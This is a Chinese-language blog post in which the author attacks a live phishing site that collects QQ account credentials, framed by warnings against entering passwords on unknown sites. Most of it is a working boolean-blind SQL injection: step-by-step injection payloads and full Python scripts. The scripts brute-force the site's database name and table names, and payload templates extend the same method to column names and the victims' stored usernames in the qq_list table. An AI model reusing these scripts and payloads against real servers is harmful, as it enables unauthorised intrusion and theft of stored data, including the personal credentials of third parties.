不要在任何不明网站上输入自己的用户名和密码!!!

SQL 基础语法以及注入方法

钓鱼网站

某钓鱼网站,虽然其首页做得实在惨不忍睹,但是还有很多人上钩,输入了自己的账号密码。 骗子一般都是在 qq 中散布钓鱼链接,诱导别人点开后以为需要登录进行下一步操作,最终被骗

Step1

通过分析源代码可以看出,该网页把用户输入的`tel`和密码`pass`发送给`status.php`,收到回复 1 以后跳转到另一个界面

Step2

此时会生成一个 id,在这里是 1906。进入盗取手机验证码的界面,同时又向`status.php`发送我的手机号和 id。
1
2
3
$.ajax({
url:"../status.php/?action=queren&id=1906&u="+encodeURIComponent('+86-'+tel),
})

Step3

接着进入一个很简陋的排队界面 可以看出,该界面会直接向`status.php`发送一个 id=1906 的消息,并且根据回复的 code 进行相应的跳转 所以可以判断:该请求大概率是像一个数据库进行请求,数据库查询并且返回一个`code` 该 SQL 语句可能是
1
2
3
SELECT code FROM <数据表名称> WHERE id=1960

# 数据表名称暂时不知道

Step4 判断字符/数字 以及闭合方式

于是我们构建这样一个 url
1
http://********/status.php?action=shoy&id=1905

可以看到返回了一个code:5,有可能是请求数据库以后返回的值,于是就可以猜测可以进行 SQL 注入攻击

变成发送1094+1以后,仍然能够查询到结果

发送1094'以后不能查询到结果
说明 SQL 查询语句应该是单引号闭合的字符型查询

1
2
3
4
SELECT code FROM <数据表名称> WHERE id='______'
# 在下划线处插入我发送的数据
# 所以我传入 " 1904' " 以后 变成了
SELECT code FROM <数据表名称> WHERE id='1904''

单引号数量不匹配,导致查询失败,不返回code

传入双引号以后仍能查询到,所以更加确定了是由单引号闭合的

Step5 尝试使用联合注入

尝试使用 UNION 进行联合注入
通过合并多次查询的结果让数据库暴露不该暴露的信息

1
SELECT code FROM <表名> WHERE id='1904' UNION SELECT database() --'

传入

1
1904' UNION SELECT database()--
1
2
直接插入
SELECT code FROM <数据表名称> WHERE id='______'
1
2
就变成了
SELECT code FROM <数据表名称> WHERE id='1904' UNION SELECT database()-- '

可以看到,我人为闭合了一个单引号,同时传入了一串UNION SELECT代码查询数据库的名字,最后人为传入了 SQL 的注释符号--,导致原有的第二个单引号被当作了注释

按道理这样会使数据库进行两次查询,返回值会把第一个结果和数据库名合在一起暴露出来
但是在这里仍然只返回一个 code5,证明此网站有针对UNION SELECT的防御措施

为什么变成 1976 了?因为我懒,过了几天又换了一次攻击。这回给我分配的 id 是 1976

Step6 尝试获得表格列数

尝试使用ORDER BY获得表格列数,该操作会让结果依照某一列进行排序,如果我传入的列不存在,自然会报错而不能正常返回。于是一个个尝试即可得到表格的列数

1 的时候能够返回 2 的时候就不能返回了

难道这个表格只有一列?不可能啊!至少有一列 id 有一列 code。 可能网站针对 ORDER BY 有防护手段

Step7 使用 python 脚本进行布尔盲注

虽然网站有防护手段。但是我们目前知道让查询出错和能查询到是两种不同的返回结果
于是我们一次查询至少能得到 1bit 的信息(布尔:对或错)。可以使用布尔盲注进行攻击。

我们运用逻辑运算AND:已知一个能够正确返回的语句

1
SELECT code FROM <数据表名称> WHERE id='1904'

那么我们AND上一个条件语句

1
SELECT code FROM <数据表名称> WHERE id='1904' AND __________ -- 条件

就可以根据能不能正常返回来判断我人为注入的条件是不是正确的了
传入

1
1976' AND ASCII(SUBSTR(database(), 1, 1))>0 --

于是在后台的语句变成了

1
SELECT code FROM <数据表名称> WHERE id='1976' AND ASCII(SUBSTR(database(), 1, 1))>0 --'

相当于询问:id=1976 的用户的 code 是多少? 并且 你数据库名字的第一个字母的 ASCII 是不是大于 0?

显然所有 ASCII 都是大于 0 的,于是第一个和第二个问题都是真,数据库也诚实地返回了 code

那我把大于号改成小于号呢?(恒假:没有任何一个字符的 ASCII 是负的)

直接把数据库干烧了,于是没有正确返回 code

所以,我们可以通过一位一位询问,一个 ASCII 一个 ASCII 询问,判断真假,最终爆破出所有的数据

如果返回了code:5就是询问对了,如果不返回就是错了。如此使用二分查找算法即可爆破出数据库的所有位置的字符

1
2
3
4
5
6
7
你数据库的名字的第一个字母ASCII值大于50吗?

大于75吗?

大于62吗?

。。。。。 如此重复即可得出最终字母是什么

爆破数据库名 脚本及 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests


url = "http://weno.。。。。。。.work/status.php"


action = "shoy"
id_base = "1601' AND ASCII(SUBSTR(DATABASE(), {position}, 1)){operator}{ascii_value} -- -"

def is_correct(response):
# 打印
print("Response:", response.text)
try:
data = response.json()
return data.get('code') == 5
except ValueError:
return False

# 发送请求
def send_injection(position, operator, ascii_value):
payload = id_base.format(position=position, operator=operator, ascii_value=ascii_value)
params = {'action': action, 'id': payload}
response = requests.get(url, params=params)
return response

# 二分查找ASCII码
def binary_search_ascii(position):
low, high = 48, 126 # ASCII 范围
while low <= high:
mid = (low + high) // 2
if is_correct(send_injection(position, '=', mid)):
return mid
elif is_correct(send_injection(position, '>', mid)):
low = mid + 1
else:
high = mid - 1
return None

def get_database_name(max_length=32):
db_name = ''
for position in range(1, max_length + 1):
ascii_value = binary_search_ascii(position)
if ascii_value:
db_name += chr(ascii_value)
print(f"Found character: {chr(ascii_value)} at position {position}")
else:
break
return db_name

database_name = get_database_name()
print("Database Name:", database_name)
结果

进一步爆破表名(一个数据库下有很多张表)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests


url = "http://weno.。。。。.work/status.php"


action = "shoy"
database_name = "qqmail0710" # 已知数据库名
id_base = "1904' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' LIMIT {index}, 1), {position}, 1)){operator}{ascii_value} -- -"

def is_correct(response):
try:
data = response.json()
return data.get('code') == 5
except ValueError:
return False


def send_injection(index, position, operator, ascii_value):
payload = id_base.format(database=database_name, index=index, position=position, operator=operator, ascii_value=ascii_value)
params = {'action': action, 'id': payload}
response = requests.get(url, params=params)
return response

# 二分查找
def binary_search_ascii(index, position):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
if is_correct(send_injection(index, position, '=', mid)):
return mid
elif is_correct(send_injection(index, position, '>', mid)):
low = mid + 1
else:
high = mid - 1
return None

def get_table_name(index, max_length=32):
table_name = ''
for position in range(1, max_length + 1):
ascii_value = binary_search_ascii(index, position)
if ascii_value:
table_name += chr(ascii_value)
print(f"Found character: {chr(ascii_value)} at position {position} for table {index}")
else:
break
return table_name

def get_all_table_names(max_tables=10, max_length=32):
table_names = []
for index in range(max_tables):
table_name = get_table_name(index, max_length)
if table_name:
table_names.append(table_name)
print(f"Found table: {table_name}")
else:
break
return table_names

table_names = get_all_table_names()
print("Table Names:", table_names)

发现结果有三个表格,其中`qq_list`显然就是受骗者的 qq 账号数据存放表格

爆破一个表格中的所有列名(表格由行和列组成) payload

1
2
3
4
5
6
7

url = "http://weno.。。。.work/status.php"

action = "shoy"
table_name = "qq_list" # 已知表名
id_base = "1601' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {index}, 1), {position}, 1)){operator}{ascii_value} -- -"

其实更改一下注入代码即可,询问

1
2
3
你qq_list这个表格里第一列的名字的第一个字符的ASCII是不是大于50啊?
是/不是
。。。。。

爆破一个表格中某列的所有数据 payload

1
2
3
4
5
6
7
8
url = "http://weno.。。。。.work/status.php"

# 注入点和初始参数
action = "shoy"
database_name = "qqmail0710"
table_name = "qq_list"
column_name = "user"
id_base = "1601' AND ASCII(SUBSTR((SELECT {column} FROM {database}.{table} LIMIT {row}, 1), {position}, 1)){operator}{ascii_value} -- -"

同理

Step8 获得所有数据

已知数据库名,表名,列名。所有数据都可以通过布尔盲注的方式爆破得到

有相当人数的人上当,输入了自己的 qq 账号以及密码,甚至有人输入了两次

不要在任何不明网站上输入自己的用户名和密码!!!